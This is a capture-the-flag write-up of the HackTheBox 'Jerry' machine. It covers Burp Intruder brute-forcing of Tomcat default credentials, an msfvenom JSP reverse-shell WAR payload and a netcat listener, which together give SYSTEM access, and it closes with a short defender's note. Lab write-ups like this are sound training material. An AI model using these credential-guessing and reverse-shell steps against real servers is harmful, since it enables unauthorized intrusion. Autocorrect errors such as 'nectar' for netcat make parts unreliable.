WriteUp: HackTheBox Jerry

This being my third box on HackTheBox, we are able intercept the communication and using brute force, gain access to the Windows Server via easily available default credentials. Once on the server, we spin up a reverse shell that gives us system access. From there on, it’s smooth sailing to the flags.

Table of Contents

  1. Reconnaissance
  2. Enumeration
  3. Credential access
  4. Exploitation without Metasploit
  5. Post Exploitation
  6. Defender’s Note


We’ll start with checking which open ports are available to us. This can be done using nmap.

$ sudo nmap -A -T4 -p-

The output is shown below. We see that only one port is open – HTTP. The windows server is running apache tomcat.

Not shown: 65534 filtered ports
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops


Since this is HTTP, the first thing we should try and do is access the webpage so as to verify it so let’s navigate to [].

We are presented with an apache tomcat webpage. When we click on a few tabs, we notice that there is a login page when we click on manager app. Let’s try and search for default credentials used by apache tomcat.

On the first google hit, we get a list of default credentials used by Apache Tomcat.

Credential Access

We can try and intercept the connection using burpsuite. We need to set our machine to use a proxy on port 8080.

From Mozilla, we can do that by navigating to browser preferences > Network Settings. We need to enable manual proxy on port 8080.

Let’s now refresh the webpage. We see that the connection is intercepted.

Click to forward this request. We see the page reloads. We can now click the manager app and forward the intercepted request. We get the login page.

Let’s try one of the credentials in the list we got online: tomcat/tomcat and press enter.

This login is intercepted and we see authorization: Basic with a base64 value.

Ideally, we would like to decode this and see the format of the login and password. We can do that by right clicking and sending the base64 value to Decoder.

We then need to select what we need to decode as. In this case, it’s base64.

From the output received, we see that the format entered was tomcat:tomcat. Now we know the format to enter the credentials as.

Forward the request. It does not work since we have wrong credentials. We are back to the login screen. We can use any of the other credentials to attempt logging in. In this case, we use manager:tomcat.

The connection is intercepted once again. We do see the authorisation value in base64 format. Ideally, we would like to send this to a repeater so as to repeat the request.

We would also like to send this to Intruder.

We see that the repeater gets populated with the request.

We can also see the response that comes through.

Now, we would like to attempt brute forcing the credentials. For that, we need to create a txt file with the credentials that we received.

$ gedit tomcat.txt

We copy and paste the credentials that we got from our google find to this txt file.

We saw that the requests were coming through in Base64 and in the format username:password

So we need to modify the credential file to that format. This can be done by simply replacing the space with the colon.

We can quickly doublecheck that all is ok by converting one of the credentials to base64 output. We see that it is correct. So now, let’s create a bash script to change all the credentials in the tomcat.txt file to base64.

$ echo -n 'tomcat:tomcat' | base64                                                                                                                       
$ for credentials in $(cat tomcat.txt); do echo -n $credentials | base64; done

Now that we have the credentials in base64, all we need to do is set a variable for the credentials field in intruder. This can be done by clicking on positions then selecting the base64 output and clicking add. This action defines position 1.

We can then navigate to payloads and paste the credentials that we got. We also need to disable URL encode by unchecking that field. We can then start the attack.

What burp suite does is that it attempts to login using the credentials that we provided. We are looking for successful login, so a HTTP 200 OK or a file transfer that is larger than the default.

we see that the 20th credential was successful and that we are logged in. We can decode that value and see the actual credentials used. In this case, it was tomcat:s3cret.

$ echo "dG9tY2F0OnMzY3JldA==" | base64 -d

Now that we have the correct credentials, all we have to do is disable the proxy and burpsuite interception so that we can login to the server.

Lets use the credentials tomcat:s3cret to login.

We are successfully logged into the server.


Java web applications are usually packaged as WAR files for deployment. We see an option to upload war files. We need to search how to create reverse shells using warbles. Google to the rescue.

We will use this link to create the msfvenom payload.

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war > shell.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes

$ ls shell.war 

Now that we have the payload, we need to create a listener on our machine so that once the warfare is executed on the server, it can connect to back to our attacker machine. Here we are using nectar to create the listener.

$ nc -nlvp 4444
listening on [any] 4444 ...

Now, let’s upload the warfare shell code that we just created and deploy it.

we can see that it appears in the list of Applications “shell”.

To execute it, navigate to the shell [ by clicking on shell. we can see that a connection is successful to the nectar listener. We are dropped in the apache server’s shell.

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.


Let’s verify the user we are logged in as. we see that we have system authority on the server.

nt authority\system 

Post Exploitation

Since we are logged into the machine as system user, we can navigate to the User folder and see which users exist on the machine. There appears to be only one user: Administrator.

C:\apache-tomcat-7.0.88>cd C:\
cd C:\

C:\>cd Users
cd Users

 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users

06/18/2018  11:31 PM    <DIR>          .
06/18/2018  11:31 PM    <DIR>          ..
06/18/2018  11:31 PM    <DIR>          Administrator
08/22/2013  06:39 PM    <DIR>          Public
               0 File(s)              0 bytes
               4 Dir(s)  27,603,206,144 bytes free

User & Root Flag

The root flag is normally located on a desktop of Administrator (C:\Documents and Settings\Administrator\Desktop). Once in the directory, we see the “flags” directory. When Lego into the folder, we see the file “2 for the price of 1.txt” exists which hints on us getting two flags in 1 file.

C:\Users>cd Administrator
cd Administrator

C:\Users\Administrator>cd Desktop
cd Desktop

 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator\Desktop

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:09 AM    <DIR>          flags
               0 File(s)              0 bytes
               3 Dir(s)  27,603,206,144 bytes free
C:\Users\Administrator\Desktop>cd flags
cd flags

 Volume in drive C has no label.
 Volume Serial Number is FC2B-E489

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)  27,603,206,144 bytes free

We can read the contents of using the “type” command. Sure enough, we get both the user and root flags in this one file.

C:\Users\Administrator\Desktop\flags>type 2*
type 2*


Defender’s Note

  1. We were able to login easily using default credentials. Always change default credentials.
  2. HTTP protocol sends traffic in cleartext. This can easily be intercepted as we saw above. Opted for secure protocol alternative – HTTPS.
  3. Ensure that access to resources is set to read only so as to limit file execution.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s